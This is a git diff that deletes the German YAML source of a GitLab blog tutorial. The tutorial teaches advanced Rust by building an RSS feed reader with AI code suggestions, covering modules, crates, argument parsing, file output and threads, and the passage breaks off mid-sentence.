   dependencies:
     - install-staging
diff --git a/content/de-de/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml b/content/de-de/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
deleted file mode 100644
index 271de6bde..000000000
--- a/content/de-de/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
+++ /dev/null
@@ -1,42 +0,0 @@
-seo:
-  title: Lerne fortschrittliche Rust-Programmierung mit KI-Unterstützung
-  description: "In diesem geführten Tutorial vertiefst du mithilfe der KI-basierten Codevorschläge von GitLab\_Duo deine Kenntnisse in der fortgeschrittenen Rust-Programmierung."
-  ogTitle: Lerne fortschrittliche Rust-Programmierung mit KI-Unterstützung
-  ogDescription: "In diesem geführten Tutorial vertiefst du mithilfe der KI-basierten Codevorschläge von GitLab\_Duo deine Kenntnisse in der fortgeschrittenen Rust-Programmierung."
-  noIndex: false
-  ogImage: images/blog/hero-images/codewithheart.png
-  ogUrl: >-
-    https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Lerne fortschrittliche Rust-Programmierung mit KI-Unterstützung",
-            "author": [{"@type":"Person","name":"Michael Friedrich"}],
-            "datePublished": "2023-10-12",
-          }
-
-content:
-  title: Lerne fortschrittliche Rust-Programmierung mit KI-Unterstützung
-  description: "In diesem geführten Tutorial vertiefst du mithilfe der KI-basierten Codevorschläge von GitLab\_Duo deine Kenntnisse in der fortgeschrittenen Rust-Programmierung."
-  authors:
-    - Michael Friedrich
-  heroImage: images/blog/hero-images/codewithheart.png
-  date: '2023-10-12'
-  body: "Vor mehr als 20\_Jahren musste ich für eine Programmiersprache die MSDN-Bibliothek von Visual Studio\_6 mit 6\_CD-ROMs installieren. Algorithmen mit Stift und Papier, Bücher für Entwurfsmuster und MSDN-Abfragen waren oft zeitaufwendig. Das Erlernen neuer Programmiersprachen hat sich mit Remote-Zusammenarbeit und KI stark gewandelt. Jetzt kannst du einen [Remote Development Workspace](https://about.gitlab.com/blog/2023/06/26/quick-start-guide-for-gitlab-workspaces/) nutzen, deinen Bildschirm freigeben und zusammen programmieren. Mit [GitLab\_Duo\_Codevorschläge](/gitlab-duo/) hast du immer einen intelligenten Partner. Codevorschläge lernt von deinem Programmierstil und deiner Erfahrung. Es werden nur Input und Kontext benötigt.\n\nWir bauen auf den [Blogbeitrag „Erste Schritte“](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) auf und erstellen eine einfache Feed-Reader-Anwendung.\n\n- [Vorbereitungen](#preparations)\n    - [Codevorschläge](#code-suggestions)\n- [Rust vertiefen](#continue-learning-rust)\n    - [Hallo, Reader-App](#hello-reader-app)\n    - [Projekt initialisieren](#initialize-project)\n    - [RSS-Feed-URLs definieren](#define-rss-feed-urls)\n- [Module](#modules)\n    - [Modulfunktion im main() aufrufen](#call-the-module-function-in-main)\n- [Crates](#crates)\n    - [feed-rs: XML-Feed parsen](#feed-rs-parse-xml-feed)\n- [Laufzeit-Konfiguration: Programmargumente](#runtime-configuration-program-arguments)\n    - [Umgang mit Benutzereingabefehlern](#user-input-error-handling)\n- [Persistenz und Datenspeicherung](#persistence-and-data-storage)\n- [Optimierung](#optimization)\n    - [Asynchrone Ausführung](#asynchronous-execution)\n    - [Threads spawnen](#spawning-threads)\n    - [Funktionsumfänge, Threads und Abschlüsse](#function-scopes-threads-and-closures)\n- [Feed-XML in Objekte parsen](#parse-feed-xml-into-object-types)\n    - [Generische Feed-Datentypen zuordnen](#map-generic-feed-data-types)\n    - [Fehlerbehebung mit Option::unwrap()](#error-handling-with-option-unwrap)\n- [Benchmarks](#benchmarks)\n    - [Benchmarks für sequentielle/parallele Ausführung](#sequential-vs-parallel-execution-benchmark)\n    - [CI/CD mit Rust-Caching](#cicd-with-rust-caching)\n- [Wie geht es weiter?](#what-is-next)\n    - [Asynchrone Lernübungen](#async-learning-exercises)\n    - [Teile dein Feedback](#share-your-feedback)\n\n## Vorbereitung\nRichte [VS Code](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#vs-code) und [deine Entwicklungsumgebung mit Rust](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#development-environment-for-rust) ein.\n\n### Codevorschläge\nMache dich vorher damit vertraut. GitLab\_Duo\_Codevorschläge werden angezeigt, während du tippst. Drücke `tab`, um einen Codevorschlag anzunehmen. Das Schreiben von neuem Code funktioniert zuverlässiger als das Refactoring von bestehendem Code. Der gleiche Codevorschlag wird ggf. nicht erneut angezeigt, wenn du einen Codevorschlag löschst. Codevorschläge sind gerade in der Betaphase und wir verbessern die Genauigkeit der generierten Inhalte. Sieh dir die [bekannten Einschränkungen](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations) an.\n\n**Tipp:** Die neueste Version von Codevorschläge unterstützt mehrzeilige Anweisungen. Passe die Spezifikationen an deine Bedürfnisse an, um bessere Vorschläge zu erhalten.\n\n\n```rust\n    // Create a function that iterates over the source array\n    // and fetches the data using HTTP from the RSS feed items. // Store the results in a new hash map.\n    // Print the hash map to the terminal.\n```\n\nDie VS-Code-Erweiterung wird angezeigt, wenn ein Vorschlag angeboten wird. Mit `tab` kannst du die vorgeschlagene(n) Zeile(n) oder mit `cmd cursor right` ein Wort annehmen. Über das Menü mit den drei Punkten kannst du immer die Symbolleiste anzeigen.\n\n![VS Code überlagert GitLab\_Duo\_Codevorschläge mit Anweisungen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_code_suggestions_options_overlay_keep_toolbar.png){: .shadow}\n\n## Rust vertiefen\nVertiefen wir nun Rust, eine der [unterstützten Sprachen in Codevorschläge](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). [Rust by Example](https://doc.rust-lang.org/rust-by-example/) und das offizielle [Rust-Buch](https://doc.rust-lang.org/book/) bieten einen guten Einstieg. Auf beide Ressourcen wird hier verwiesen.\n\n### Hallo, Reader-App\nEs gibt viele Möglichkeiten, eine Anwendung zu erstellen und Rust zu lernen. Einige beinhalten die Nutzung bestehender Rust-Bibliotheken, der `Crates`. Wir verwenden sie weiter unten. Du kannst eine App mit einer Befehlszeile erstellen, die Bilder verarbeitet und die Ergebnisse in eine Datei schreibt. Es macht Spaß, ein Labyrinth zu lösen oder ein Sudoku-Lösungsprogramm zu schreiben. Spieleentwicklung ist auch gut. Das Buch [Hands-on Rust](https://hands-on-rust.com/) bietet einen Lernpfad für ein Dungeon-Crawler-Spiel. Fatima Sarah Khalid hat [Dragon Realm in C++ mit ein wenig KI-Unterstützung](/blog/2023/08/24/building-a-text-adventure-using-cplusplus-and-code-suggestions/) gestartet.\n\nEin echter Anwendungsfall: Wichtige Infos sollen in einem RSS-Feed für (Sicherheits-)Releases, Blogbeiträge und Diskussionen in Foren wie Hacker News gesammelt werden. Oft möchten wir nach Keywords oder Versionen filtern. Mit diesen Anforderungen können wir eine Anforderungsliste erstellen:\n\n1. Daten von verschiedenen Quellen abrufen (HTTP-Websites, REST API, RSS-Feeds). RSS-Feeds in der ersten Iteration.\n1. Die Daten parsen.\n1. Die Daten den Benutzer(innen) präsentieren oder auf die Festplatte schreiben.\n1. Die Leistung optimieren.\n\nDiese Anwendungsausgabe ist nach den Lernschritten verfügbar: \n\n![VS-Code-Terminal, Cargo-Run mit formatierter Feedelement-Ausgabe](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\nDie Anwendung sollte modular und die Grundlage für weitere Datentypen, Filter und Hooks sein, um später Aktionen auszulösen.\n\n### Projekt initialisieren\nZur Erinnerung: `cargo init` im Projekt-Root erstellt die Dateistruktur, darunter den Eingangspunkt `main()`. Daher lernen wir nun, wie wir Rust-Module erstellen und verwenden.\n\nErstelle ein neues Verzeichnis `learn-rust-ai-app-reader`, wechsle dorthin und führe `cargo init` aus. Dieser Befehl führt implizit `git init` aus, um ein neues Git-Repository lokal zu initialisieren. Zuletzt wird der Git-Remote-Repository-Pfad konfiguriert, z.\_B. `https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader`. Passe den Pfad an. Durch das Pushen des Git-Repositorys [wird automatisch ein neues privates Projekt in GitLab erstellt](https://docs.gitlab.com/ee/user/project/#create-a-new-project-with-git-push).\n\n```shell\nmkdir learn-rust-ai-app-reader\ncd learn-rust-ai-app-reader\n\ncargo init\n\ngit remote add origin https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader.git\ngit push --set-upstream origin main\n```\n\nÖffne VS Code aus dem neu erstellten Verzeichnis. Die CLI `code` öffnet ein neues VS-Code-Fenster auf macOS.\n\n```shell\ncode .\n```\n\n### RSS-Feed-URLs definieren\nFüge eine neue Hashmap hinzu, um die RSS-Feed-URLs in der Datei `src/main.rs` in der Funktion `main()` zu speichern. Du kannst mit GitLab\_Duo\_Codevorschläge über einen mehrzeiligen Kommentar ein [`HashMap`](https://doc.rust-lang.org/stable/std/collections/struct.HashMap.html)-Objekt erstellen und mit Standardwerten für Hacker News und TechCrunch initialisieren. Hinweis: Stelle sicher, dass die URLs korrekt sind, wenn du Vorschläge erhältst.\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n\n}\n```\n\nAnweisungen sind enthalten für:\n:\n\n1. Den Variablennamen `rss_feeds`.\n2. Den Typ `HashMap`.\n3. Initiale Seed-Schlüssel-/Wertpaare.\n4. Den String als Typ (sichtbar mit `to_string()`-Aufrufen).\n\nEin möglicher vorgeschlagener Pfad:\n\n```rust\nuse std::collections::HashMap;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n}\n```\n\n![VS Code mit Codevorschlägen für RSS-Feed-URLs für Hacker News und TechCrunch](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_main_array_rss_feed_urls_suggested.png)\n\nÖffne ein neues Terminal in VS Code (cmd Umschalt p\_– suche nach `terminal`). Führe `cargo build` aus, um die Änderungen zu erstellen. Die Fehlermeldung weist dich an, den Import von `use std::collections::HashMap;` hinzuzufügen.\n\nDer nächste Schritt betrifft die RSS-Feed-URLs. [Im letzten Blogbeitrag](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/) haben wir Code in Funktionen aufgeteilt. Wir möchten den Code für unsere Reader-Anwendung modular mit Rust-Modulen strukturieren.\n\n## Module\n[Module](https://doc.rust-lang.org/rust-by-example/mod.html) organisieren Code. Mit ihnen können auch Funktionen im Modulbereich ausgeblendet und der Zugriff darauf vom Bereich main() aus beschränkt werden. In unserer Reader-Anwendung möchten wir den RSS-Feed abrufen/XML-Antwort parsen. Der Caller `main()` sollte nur auf die Funktion `get_feeds()` zugreifen können, andere Funktionen sind nur im Modul verfügbar.\n\nErstelle eine neue Datei `feed_reader.rs` im Verzeichnis `src/`. Weise Codevorschläge an, ein öffentliches Modul `feed_reader` und eine öffentliche Funktion `get_feeds()` mit einer String-HashMap als Eingabe zu erstellen. Wichtig: Die Datei- und Modulnamen müssen gemäß der [Rust-Modulstruktur](https://doc.rust-lang.org/book/ch07-02-defining-modules-to-control-scope-and-privacy.html) identisch sein.\n\n![Codevorschläge: öffentliches Modul mit Funktions- und Eingabetypen erstellen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nWenn du Codevorschläge mit Namen/Typ der Eingabevariablen anweist, wird auch das Modul `std::collections::HashMap` importiert. Tipp: Experimentiere mit Kommentaren und verfeinere die Variablentypen. Die Übergabe von Funktionsparametern als Objektreferenzen gilt in Rust als Best Practice.\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n        // Do something with the RSS feeds\n    }\n}\n```\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()` und vorgeschlagener Eingabevariable](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){: .shadow}\n\nWeise Codevorschläge innerhalb der Funktion weiter an:\n\n1. `// Iterate over the RSS feed URLs`\n2. `// Fetch URL content`\n3. `// Parse XML body`\n4. `// Print the result`\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()`, Schritt\_1: iterieren](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_01_iterate.png){: .shadow}\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()`, Schritt\_2: URL-Inhalt abrufen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_02_fetch_content.png){: .shadow}\n\n![Codevorschläge: öffentliches Modul mit Funktion`get_feeds()`, Schritt\_3: XML-Body parsen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_03_parse_body.png){: .shadow}\n\n![Codevorschläge: öffentliches Modul mit Funktion`get_feeds()`, Schritt\_4: Ergebnisse drucken](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_04_print_result.png){: .shadow}\n\nCodevorschlag:\n\n```rust\n// Create public module feed_reader\n// Define get_feeds() function which takes rss_feeds as String HashMap reference as input\npub mod feed_reader {\n    use std::collections::HashMap;\n\n    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {\n        // Iterate over the RSS feed URLs\n        for (name, url) in rss_feeds {\n            println!(\"{}: {}\", name, url);\n\n            // Fetch URL content\n            let body = reqwest::blocking::get(url).unwrap().text().unwrap();\n\n            // Parse XML body\n            let parsed_body = roxmltree::Document::parse(&body).unwrap();\n\n            // Print the result\n            println!(\"{:#?}\", parsed_body);\n        }\n    }\n}\n```\n\nDu siehst ein neues Keyword: [`unwrap()`](https://doc.rust-lang.org/rust-by-example/error/option_unwrap.html). Rust unterstützt keine `null`-Werte und verwendet immer den [Typ `Option`](https://doc.rust-lang.org/rust-by-example/std/option.html). Wenn du einen bestimmten wrapped-Typ verwenden willst, z.\_B. `Text` oder `String`, rufe die Methode `unwrap()` auf, um den Wert zu erhalten. Methode `unwrap()` gerät bei Wert `None` in Panik.\n\n**Hinweis** Codevorschläge bezogen sich auf Funktion `reqwest:: blocking::get` für Kommentaranweisung `// Fetch URL content`. [Crate `reqwest`](https://docs.rs/reqwest/latest/reqwest/) ist kein Tippfehler. Sie bietet einen praktischen, übergeordneten HTTP-Client für asynchrone und blockierende Anfragen.\n\nParsen des XML-Textes ist schwierig. Du erhältst ggf. unterschiedliche Ergebnisse, das Schema ist nicht für jede RSS-Feed-URL gleich. Rufen wir die Funktion `get_feeds()` auf und verbessern den Code.\n\n### Modulfunktion in main() aufrufen\n\nFunktion main() kennt Funktion `get_feeds()` noch nicht, wir müssen ihr Modul importieren. Evtl. kennst du schon die Keywords `include` oder `import`. Das Rust-Modulsystem ist anders.\n\nModule sind in Pfadverzeichnissen organisiert. Hier liegen beide Quelldateien auf derselben Verzeichnisebene vor. `feed_reader.rs` wird als Crate interpretiert, die ein Modul `feed_reader` enthält, das Funktion `get_feeds()` definiert.\n\n```\nsrc/\n  main.rs\n  feed_reader.rs\n```\n\nUm auf `get_feeds()` aus Datei `feed_reader.rs` zuzugreifen, müssen wir den [Modulpfad](https://doc.rust-lang.org/book/ch07-04-bringing-paths-into-scope-with-the-use-keyword.html) in den Bereich `main.rs` bringen, dann den vollständigen Funktionspfad aufrufen.\n\n```rust\nmod feed_reader;\n\nfn main() {\n\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n\n```\n\nAlternativ können wir den vollständigen Funktionspfad mit Keyword `use` importieren und später den kurzen Funktionsnamen verwenden.\n\n```rust\nmod feed_reader;\nuse feed_reader::feed_reader::get_feeds;\n\nfn main() {\n\n    get_feeds(&rss_feeds);\n\n```\n\n**Tipp:** Lies den Blogbeitrag [Erklärung des Rust-Modulsystems](https://www.sheshbabu.com/posts/rust-module-system/) für ein besseres visuelles Verständnis.\n\n```diff\n\nfn main() {\n    // ...\n\n    // Print feed_reader get_feeds() output\n    println!(\"{}\", feed_reader::get_feeds(&rss_feeds));\n```\n\n```rust\nuse std::collections::HashMap;\n\nmod feed_reader;\n// Alternative: Import full function path\n//use feed_reader::feed_reader::get_feeds;\n\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nFühre `cargo build` erneut im Terminal aus, um den Code zu erstellen.\n\n```shell\ncargo build\n```\n\nPotenzielle Build-Fehler, wenn sich Codevorschläge auf allgemeinen Code und Bibliotheken für HTTP-Anfragen und XML-Parsing beziehen:\n\n1. Fehler: `could not find blocking in reqwest`. Lösung: Aktiviere Funktion `blocking` für Crate in `Config.toml`: `reqwest = { version = \"0.11.20\", features = [\"blocking\"] }`.\n2. Fehler: `failed to resolve: use of undeclared crate or module reqwest`. Lösung: Füge Crate `reqwest` hinzu.\n3. Fehler: `failed to resolve: use of undeclared crate or module roxmltree`. Lösung: Füge Crate `roxmltree` hinzu.\n\n```shell\nvim Config.toml\n\nreqwest = { version = \"0.11.20\", features = [\"blocking\"] }\n```\n\n```shell\ncargo add reqwest\ncargo add roxmltree\n```\n\n**Tipp:** Kopiere den Fehlermeldungs-String mit einem führenden `Rust <error message>` in einen Browser, um zu sehen, ob eine fehlende Crate verfügbar ist. Allgemein führt diese Suche zu einem Ergebnis auf crates.io und du kannst die fehlenden Abhängigkeiten hinzufügen.\n\nWenn der Build erfolgreich ist, führe den Code mit `cargo run` aus und überprüfe die RSS-Feed-Ausgabe von Hacker News.\n\n![VS-Code-Terminal, cargo run zum Abrufen des XML-Feeds von Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news.png){: .shadow}\n\nWie kann der XML-Body in ein für Menschen lesbares Format geparst werden? Als Nächstes lernen wir über bestehende Lösungen und Rust-Crates.\n\n## Crates\n\nRSS-Feeds haben gemeinsame Protokolle und Spezifikationen. Es fühlt sich an, als würde man das Rad neu erfinden, wenn man XML-Elemente parsen und die untere Objektstruktur verstehen will. Empfehlung: Schau nach, ob es dieses Problem samt Code schon gibt.\n\nDer wiederverwendbare Bibliothekscode in Rust ist in [`Crates`](https://doc.rust-lang.org/rust-by-example/crates.html) organisiert und in Paketen/der Paket-Registry auf crates.io verfügbar. Füge diese Abhängigkeiten hinzu, indem du die Datei `Config.toml` im Abschnitt `[dependencies]` bearbeitest oder `cargo add <name>` verwendest.\n\nFür die Reader-App verwenden wir [Feed-rs-Crate](https://crates.io/crates/feed-rs). Öffne ein neues Terminal, führe folgenden Befehl aus:\n\n```shell\ncargo add feed-rs\n```\n\n![VS-Code-Terminal: Crate hinzufügen, in Config.toml überprüfen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_rust_crate_add_feed-rs_explained.png)\n\n### feed-rs: XML-Feed parsen\nGehe zu `src/feed_reader.rs`, ändere den Teil, in dem wir den XML-Body parsen. Codevorschläge versteht, wie Crate `feed-rs` mit Funktion `parser::parse` aufgerufen wird, aber `feed-rs` [erwartet die String-Eingabe als Rohbytes](https://docs.rs/feed-rs/latest/feed_rs/parser/fn.parse_with_uri.html), um die Codierung selbst zu bestimmen. Wir können im Kommentar Anweisungen geben, um das erwartete Ergebnis zu erhalten.\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n```\n\n![Codevorschläge: öffentliches Modul mit Funktion `get_feeds()`, Schritt 5: XML-Parser in feed-rs ändern](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_05_use_feed_rs_to_parse.png){: .shadow}\n\nDen Vorteil von `feed-rs` siehst du im Ausdruck mit `cargo run`: Alle Schlüssel/Werte werden ihren jeweiligen Rust-Objekttypen zugeordnet und können für weitere Operationen verwendet werden.\n\n![VS-Code-Terminal, cargo run zum Abrufen des XML-Feeds von Hacker News](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news_feed_rs.png){: .shadow}\n\n## Laufzeit-Konfiguration: Programmargumente\nBisher haben wir das Programm mit hardcoded RSS-Feed-Werten ausgeführt, die in die Binärdatei kompiliert wurden. Jetzt wird der RSS-Feed zur Laufzeit konfiguriert.\n\nRust stellt in der Standard-Misc-Bibliothek [Programmargumente](https://doc.rust-lang.org/rust-by-example/std_misc/arg.html) bereit. [Argumente parsen](https://doc.rust-lang.org/rust-by-example/std_misc/arg/matching.html) ist besser und schneller als das Zielen auf erweiterte Programmargument-Parser (z.\_B. die Crate [clap](https://docs.rs/clap/latest/clap/)) oder das Verschieben der Programmparameter in eine Konfigurationsdatei/ein Format ([TOML](https://toml.io/en/), YAML). Vor diesem Blog habe ich Verschiedenes für die beste Lernerfahrung ausprobiert und versagt. Du kannst trotzdem versuchen, RSS-Feeds anders zu konfigurieren.\n\nAls langweilige Lösung können Befehlsparameter als `\"name,url\"` String-Wert-Paare übergeben und durch das `,`-Zeichen getrennt werden, um den Namen und die URL-Werte zu extrahieren. Der Kommentar weist Codevorschläge an, diese Vorgänge auszuführen und die HashMap `rss_feeds` um die neuen Werte zu erweitern. Die Variable ist möglicherweise nicht veränderbar und muss in `let mut rss_feeds` geändert werden.\n\nGehe zu `src/main.rs` und füge der Funktion `main()` nach der Variable `rss_feeds` diesen Code hinzu. Beginne mit einem Kommentar, um die Programmargumente zu definieren, überprüfe die vorgeschlagenen Codeschnipsel.\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n```\n\n![Codevorschläge für Programmargumente und Aufteilung von name,URL-Werten für die Variable rss_feeds](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_program_args_boring_solution.png){: .shadow}\n\nVollständiges Codebeispiel:\n\n```rust\nfn main() {\n    // Define RSS feed URLs in the variable rss_feeds\n    // Use a HashMap\n    // Add Hacker News and TechCrunch\n    // Ensure to use String as type\n    let mut rss_feeds = HashMap::from([\n        (\"Hacker News\".to_string(), \"https://news.ycombinator.com/rss\".to_string()),\n        (\"TechCrunch\".to_string(), \"https://techcrunch.com/feed/\".to_string()),\n    ]);\n\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n\n    // Call get_feeds() from feed_reader module\n    feed_reader::feed_reader::get_feeds(&rss_feeds);\n    // Alternative: Imported full path, use short path here.\n    //get_feeds(&rss_feeds);\n}\n```\n\nDu kannst Programmargumente direkt an den Befehl `cargo run` übergeben, wobei den Argumenten `--` vorgestellt ist.\n `--`. Füge alle Argumente mit doppelten Anführungszeichen und den Namen gefolgt von einem Komma und den RSS-Feed-URL als Argument ein. Trenne alle Argumente mit Leerzeichen.\n\n```\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![VS-Code-Terminal, Beispiel einer RSS-Feed-Ausgabe für den GitLab-Blog](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_gitlab_blog_rss_feed_example.png){: .shadow}\n\n### Fehlerbehandlung bei Benutzereingaben\nWenn die Benutzereingabe nicht der Programmerwartung entspricht, müssen wir [einen Fehler ausgeben](https://doc.rust-lang.org/rust-by-example/error.html) und dem Caller helfen, die Programmargumente zu beheben. Die Übergabe eines fehlerhaften URL-Formats sollte als Laufzeitfehler behandelt werden. Weise Codevorschläge an, einen Fehler auszugeben, wenn die URL nicht gültig ist.\n\n```rust\n    // Ensure that URL contains a valid format, otherwise throw an error\n```\n\nMögliche Lösung: Beginnt die Variable `url` mit `http://` oder `https://`? Wenn nicht, gib einen Fehler mit dem Makro [Panic! ](https://doc.rust-lang.org/rust-by-example/std/panic.html) aus. Vollständiges Codebeispiel:\n\n```rust\n    // Program args, format \"name,url\"\n    // Split value by , into name, url and add to rss_feeds\n    for arg in std::env::args().skip(1) {\n        let mut split = arg.split(\",\");\n        let name = split.next().unwrap();\n        let url = split.next().unwrap();\n\n        // Ensure that URL contains a valid format, otherwise throw an error\n        if !url.starts_with(\"http://\") && !url.starts_with(\"https://\") {\n            panic!(\"Invalid URL format: {}\", url);\n        }\n\n        rss_feeds.insert(name.to_string(), url.to_string());\n    }\n```\n\nTeste, was passiert, wenn du ein `:` in einem URL-String entfernst. Füge die Umgebungsvariable `RUST_BACKTRACE=full` hinzu, um beim Aufruf von `panic()` eine ausführlichere Ausgabe zu erhalten.\n\n```\nRUST_BACKTRACE=full cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https//www.cncf.io/feed/\"\n```\n\n![VS-Code-Terminal mit falschem URL-Format, panic-Fehler-Backtrace](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_url_format_error_panic_backtrace.png){: .shadow}\n\n## Persistenz und Datenspeicherung\nBei der langweiligen Lösung zum Speichern der Feed-Daten wird der geparste Body in eine neue Datei kopiert. Weise Codevorschläge an, ein Muster zu verwenden, das den RSS-Feed-Namen und das aktuelle ISO-Datum enthält.\n\n```rust\n    // Parse XML body with feed_rs parser, input in bytes\n    let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();\n\n    // Print the result\n    println!(\"{:#?}\", parsed_body);\n\n    // Dump the parsed body to a file, as name-current-iso-date.xml\n    let now = chrono::offset::Local::now();\n    let filename = format!(\"{}-{}.xml\", name, now.format(\"%Y-%m-%d\"));\n    let mut file = std::fs::File::create(filename).unwrap();\n    file.write_all(body.as_bytes()).unwrap();\n```\nEin möglicher Vorschlag ist die Verwendung der [Crate chrono](https://crates.io/crates/chrono). Füge sie mit `cargo add chrono` hinzu, rufe wieder `cargo build` und `cargo run` auf.\n\nDie Dateien werden in das gleiche Verzeichnis geschrieben, in dem `cargo run` ausgeführt wurde. Wenn du die Binärdatei direkt im Verzeichnis `target/debug/` ausführst, werden alle Dateien dort abgelegt.\n\n![VS-Code mit CNCF-RSS-Feed-Inhaltsdatei, auf Festplatte gespeichert](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_cncf_rss_feed_saved_on_disk.png)\n\n## Optimierung\nDie Einträge in der Variable `rss_feeds` werden nacheinander ausgeführt. Bei einer Liste mit über 100 konfigurierten URLs kann das Abrufen und Verarbeiten lange dauern. Was wäre, wenn Abrufanforderungen parallel ausgeführt würden?\n\n### Asynchrone Ausführung\nRust stellt [Threads](https://doc.rust-lang.org/book/ch16-01-threads.html) für die asynchrone Ausführung bereit.\n\nBei der einfachsten Lösung wird für jede RSS-Feed-URL ein Thread erstellt. Wir sprechen später über Optimierungsstrategien. Vor der parallelen Ausführung musst du die Ausführungszeit des sequentiellen Codes mit dem Befehl `cargo run` vor `time` messen.\n\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n```\n\nBeachte, dass diese Übung mehr manuelle Codearbeit erfordern könnte. Empfehlung: Den sequentiellen Arbeitszustand in einem neuen Git-Commit und einem neuen Git-Branch `sequential-exec` beibehalten, um die Auswirkungen der parallelen Ausführung besser zu vergleichen.\n\n```shell\ngit commit -avm \"Sequential execution working\"\ngit checkout -b sequential-exec\ngit push -u origin sequential-exec\n\ngit checkout main\n```\n\n### Threads spawnen\nÖffne `src/feed_reader.rs` und refaktorisiere die Funktion `get_feeds()`. Beginne mit einem Git-Commit für den aktuellen Status und lösche dann den Inhalt des Funktionsbereichs. Füge die folgenden Codekommentare hinzu:\n\n1. `// Store threads in vector`: Speichere die Thread-Alias in einem Vektor, damit wir warten können, bis sie am Ende des Funktionsaufrufs abgeschlossen sind.\n2. `// Loop over rss_feeds and spawn threads`: Erstelle Boilerplate-Code für die Iteration über alle RSS-Feeds und einen neuen Thread.\n\nFüge die folgenden 